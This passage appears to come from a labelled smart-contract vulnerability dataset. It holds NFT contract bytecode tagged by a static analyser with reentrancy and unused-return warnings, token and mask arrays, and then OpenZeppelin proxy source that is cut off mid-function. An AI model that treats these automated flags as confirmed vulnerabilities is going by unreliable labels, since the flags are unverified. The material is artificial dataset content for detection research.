2206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610ca3565b601854610100900460ff16611c595760168054611bd490613c63565b80601f0160208091040260200160405190810160405280929190818152602001828054611c0090613c63565b8015611c4d5780601f10611c2257610100808354040283529160200191611c4d565b820191906000526020600020905b815481529060010190602001808311611c3057829003601f168201915b50505050509050919050565b6000611c636128f3565b90506000815111611c835760405180602001604052806000815250611cb1565b80611c8d84612902565b6017604051602001611ca193929190613804565b6040516020818303038152906040525b9392505050565b601854640100000000900460ff16611d125760405162461bcd60e51b815260206004820152601f60248201527f426f726564204261642042756e6e793a2050726573616c65206973204f4646006044820152606401610ca3565b60185462010000900460ff1615611d3b5760405162461bcd60e51b8152600401610ca390613b10565b6004811115611d5c5760405162461bcd60e51b8152600401610ca390613916565b33600090815260196020526040902054600490611d7a908390613bd5565b1115611d985760405162461bcd60e51b8152600401610ca390613916565b60125481601454611da99190613bd5565b1115611dc75760405162461bcd60e51b8152600401610ca3906139b6565b3481601b54611dd69190613c01565b1115611df45760405162461bcd60e51b8152600401610ca390613a40565b6000805b82811015610e6757611e0e601d80546001019055565b601d549150611e1d338361268c565b33600090815260196020526040902054611e38906001613bd5565b33600090815260196020526040902055601454611e56906001613bd5565b60145580611e6381613c9e565b915050611df8565b600a546001600160a01b03163314611e955760405162461bcd60e51b8152600401610ca390613adb565b6018805464ff000000001981166401000000009182900460ff1615909102179055565b600a546001600160a01b03163314611ee25760405162461bcd60e51b8152600401610ca390613adb565b80516118c59060179060208401906132fb565b6018546301000000900460ff16611f4e5760405162461bcd60e51b815260206004820181905260248201527f426f726564204261642042756e6e793a20467265654d696e74206973204f46466044820152606401610ca3565b60185462010000900460ff1615611f775760405162461bcd60e51b8152600401610ca390613b10565b6001821115611f985760405162461bcd60e51b8152600401610ca390613916565b336000908152601a6020526040902054600190611fb6908490613bd5565b1115611fd45760405162461bcd60e51b8152600401610ca390613916565b611fde3382612a1c565b6120505760405162461bcd60e51b815260206004820152603760248201527f426f726564204261642042756e6e793a20596f7520617265206e6f742073656c60448201527f656374656420666f72207468652066726565206d696e740000000000000000006064820152608401610ca3565b601354826014546120619190613bd5565b111561207f5760405162461bcd60e51b8152600401610ca3906139b6565b6000805b83811015611af457612099601d80546001019055565b601d5491506120a8338361268c565b336000908152601a60205260409020546120c3906001613bd5565b336000908152601a60205260409020556014546120e1906001613bd5565b601455806120ee81613c9e565b915050612083565b600a546001600160a01b031633146121205760405162461bcd60e51b8152600401610ca390613adb565b80516118c59060169060208401906132fb565b600a546001600160a01b0316331461215d5760405162461bcd60e51b8152600401610ca390613adb565b6001600160a01b0381166121c25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ca3565b6121cb8161279f565b50565b60006001600160e01b031982166380ac58cd60e01b14806121ff57506001600160e01b03198216635b5e139f60e01b145b80610b9657506301ffc9a760e01b6001600160e01b0319831614610b96565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190612253826116ef565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600b546001600160a01b0384166000908152600d6020526040812054909183916122b69086613c01565b6122c09190613bed565b6122ca9190613c20565b949350505050565b804710156123225760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610ca3565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461236f576040519150601f19603f3d011682016040523d82523d6000602084013e612374565b606091505b5050905080610e675760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610ca3565b6000818152600260205260408120546001600160a01b03166124645760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610ca3565b600061246f836116ef565b9050806001600160a01b0316846001600160a01b031614806124aa5750836001600160a01b031661249f84610c2e565b6001600160a01b0316145b806122ca57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff16949350505050565b826001600160a01b03166124f4826116ef565b6001600160a01b03161461255c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610ca3565b6001600160a01b0382166125be5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610ca3565b6125c9838383612a65565b6125d460008261221e565b6001600160a01b03831660009081526003602052604081208054600192906125fd908490613c20565b90915550506001600160a01b038216600090815260036020526040812080546001929061262b908490613bd5565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6118c5828260405180602001604052806000815250612b1d565b60006126b1826116ef565b90506126bf81600084612a65565b6126ca60008361221e565b6001600160a01b03811660009081526003602052604081208054600192906126f3908490613c20565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610e67908490612b50565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b031614156128535760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610ca3565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6128cb8484846124e1565b6128d784848484612c22565b611af45760405162461bcd60e51b8152600401610ca390613964565b606060158054610bab90613c63565b6060816129265750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612950578061293a81613c9e565b91506129499050600a83613bed565b915061292a565b60008167ffffffffffffffff81111561297957634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156129a3576020820181803683370190505b5090505b84156122ca576129b8600183613c20565b91506129c5600a86613cb9565b6129d0906030613bd5565b60f81b8183815181106129f357634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350612a15600a86613bed565b94506129a7565b6040516bffffffffffffffffffffffff19606084901b16602082015260009081906034016040516020818303038152906040528051906020012090506122ca83601c5483612d2f565b6001600160a01b038316612ac057612abb81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612ae3565b816001600160a01b0316836001600160a01b031614612ae357612ae38382612d45565b6001600160a01b038216612afa57610e6781612de2565b826001600160a01b0316826001600160a01b031614610e6757610e678282612ebb565b612b278383612eff565b612b346000848484612c22565b610e675760405162461bcd60e51b8152600401610ca390613964565b6000612ba5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661304d9092919063ffffffff16565b805190915015610e675780806020019051810190612bc391906135d1565b610e675760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610ca3565b60006001600160a01b0384163b15612d2457604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612c669033908990889088906004016138c6565b602060405180830381600087803b158015612c8057600080fd5b505af1925050508015612cb0575060408051601f3d908101601f19168201909252612cad91810190613621565b60015b612d0a573d808015612cde576040519150601f19603f3d011682016040523d82523d6000602084013e612ce3565b606091505b508051612d025760405162461bcd60e51b8152600401610ca390613964565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506122ca565b506001949350505050565b600082612d3c858461305c565b14949350505050565b60006001612d52846117b0565b612d5c9190613c20565b600083815260076020526040902054909150808214612daf576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090612df490600190613c20565b60008381526009602052604081205460088054939450909284908110612e2a57634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508060088381548110612e5957634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480612e9f57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612ec6836117b0565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216612f555760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610ca3565b6000818152600260205260409020546001600160a01b031615612fba5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610ca3565b612fc660008383612a65565b6001600160a01b0382166000908152600360205260408120805460019290612fef908490613bd5565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60606122ca8484600085613116565b600081815b845181101561310e57600085828151811061308c57634e487b7160e01b600052603260045260246000fd5b602002602001015190508083116130ce5760408051602081018590529081018290526060016040516020818303038152906040528051906020012092506130fb565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061310681613c9e565b915050613061565b509392505050565b6060824710156131775760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610ca3565b843b6131c55760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610ca3565b600080866001600160a01b031685876040516131e191906137e8565b60006040518083038185875af1925050503d806000811461321e576040519150601f19603f3d011682016040523d82523d6000602084013e613223565b606091505b509150915061323382828661323e565b979650505050505050565b6060831561324d575081611cb1565b82511561325d5782518084602001fd5b8160405162461bcd60e51b8152600401610ca39190613903565b82805461328390613c63565b90600052602060002090601f0160209004810192826132a557600085556132eb565b82601f106132be5782800160ff198235161785556132eb565b828001600101855582156132eb579182015b828111156132eb5782358255916020019190600101906132d0565b506132f792915061336f565b5090565b82805461330790613c63565b90600052602060002090601f01602090048101928261332957600085556132eb565b82601f1061334257805160ff19168380011785556132eb565b828001600101855582156132eb579182015b828111156132eb578251825591602001919060010190613354565b5b808211156132f75760008155600101613370565b600067ffffffffffffffff83111561339e5761339e613cf9565b6133b1601f8401601f1916602001613ba4565b90508281528383830111156133c557600080fd5b828260208301376000602084830101529392505050565b6000602082840312156133ed578081fd5b8135611cb181613d0f565b6000806040838503121561340a578081fd5b823561341581613d0f565b9150602083013561342581613d0f565b809150509250929050565b600080600060608486031215613444578081fd5b833561344f81613d0f565b9250602084013561345f81613d0f565b929592945050506040919091013590565b60008060008060808587031215613485578081fd5b843561349081613d0f565b935060208501356134a081613d0f565b925060408501359150606085013567ffffffffffffffff8111156134c2578182fd5b8501601f810187136134d2578182fd5b6134e187823560208401613384565b91505092959194509250565b600080604083850312156134ff578182fd5b823561350a81613d0f565b9150602083013561342581613d24565b6000806040838503121561352c578182fd5b823561353781613d0f565b946020939093013593505050565b60008060208385031215613557578081fd5b823567ffffffffffffffff8082111561356e578283fd5b818501915085601f830112613581578283fd5b81358181111561358f578384fd5b8660208260051b85010111156135a3578384fd5b60209290920196919550909350505050565b6000602082840312156135c6578081fd5b8135611cb181613d24565b6000602082840312156135e2578081fd5b8151611cb181613d24565b6000602082840312156135fe578081fd5b5035919050565b600060208284031215613616578081fd5b8135611cb181613d32565b600060208284031215613632578081fd5b8151611cb181613d32565b6000806040838503121561340a578182fd5b60008060208385031215613661578182fd5b823567ffffffffffffffff80821115613678578384fd5b818501915085601f83011261368b578384fd5b813581811115613699578485fd5b8660208285010111156135a3578485fd5b6000602082840312156136bb578081fd5b813567ffffffffffffffff8111156136d1578182fd5b8201601f810184136136e1578182fd5b6122ca84823560208401613384565b600060208284031215613701578081fd5b5051919050565b6000806040838503121561371a578182fd5b8235915060208084013567ffffffffffffffff80821115613739578384fd5b818601915086601f83011261374c578384fd5b81358181111561375e5761375e613cf9565b8060051b915061376f848301613ba4565b8181528481019084860184860187018b1015613789578788fd5b8795505b838610156137ab57803583526001959095019491860191860161378d565b508096505050505050509250929050565b600081518084526137d4816020860160208601613c37565b601f01601f19169290920160200192915050565b600082516137fa818460208701613c37565b9190910192915050565b6000845160206138178285838a01613c37565b85519184019161382a8184848a01613c37565b85549201918390600181811c908083168061384657607f831692505b85831081141561386457634e487b7160e01b88526022600452602488fd5b8080156138785760018114613889576138b5565b60ff198516885283880195506138b5565b60008b815260209020895b858110156138ad5781548a820152908401908801613894565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906138f9908301846137bc565b9695505050505050565b602081526000611cb160208301846137bc565b6020808252602e908201527f426f726564204261642042756e6e793a20596f752063616e2774206d696e742060408201526d736f206d75636820746f6b656e7360901b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526024908201527f426f726564204261642042756e6e793a206d617820737570706c7920657863656040820152631959195960e21b606082015260800190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b60208082526030908201527f426f726564204261642042756e6e793a2045746865722076616c75652073656e60408201526f1d081a5cc81b9bdd0818dbdc9c9958dd60821b606082015260800190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526023908201527f426f726564204261642042756e6e793a20636f6e7472616374206973207061756040820152621cd95960ea1b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715613bcd57613bcd613cf9565b604052919050565b60008219821115613be857613be8613ccd565b500190565b600082613bfc57613bfc613ce3565b500490565b6000816000190483118215151615613c1b57613c1b613ccd565b500290565b600082821015613c3257613c32613ccd565b500390565b60005b83811015613c52578181015183820152602001613c3a565b83811115611af45750506000910152565b600181811c90821680613c7757607f821691505b60208210811415613c9857634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613cb257613cb2613ccd565b5060010190565b600082613cc857613cc8613ce3565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146121cb57600080fd5b80151581146121cb57600080fd5b6001600160e01b0319811681146121cb57600080fdfea264697066735822122087cb73654314bdc45a1292a2a4a4878b5ee9ceb72dc55b5ba9da7e86a7ff918964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2683, 2620, 2278, 16086, 2278, 2692, 2549, 3676, 2575, 7959, 22610, 2497, 22394, 16068, 2063, 21619, 2620, 2683, 2497, 22907, 2692, 2497, 23499, 25746, 2063, 23833, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 24094, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 24094, 1008, 1030, 3166, 4717, 25805, 2078, 1006, 1030, 23822, 1007, 1008, 1030, 16475, 3640, 24094, 2008, 2064, 2069, 2022, 4297, 28578, 14088, 1010, 11703, 28578, 14088, 2030, 25141, 1012, 2023, 2064, 2022, 2109, 1041, 1012, 1043, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,549
0x96F98Ed74639689C3A11daf38ef86E59F43417D3
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./UpgradeableProxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) public payable UpgradeableProxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(admin_); } /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _admin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external virtual ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin { _upgradeTo(newImplementation); Address.functionDelegateCall(newImplementation, data); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Proxy.sol"; import "../utils/Address.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) public payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if(_data.length > 0) { Address.functionDelegateCall(_logic, _data); } } /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal virtual { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes 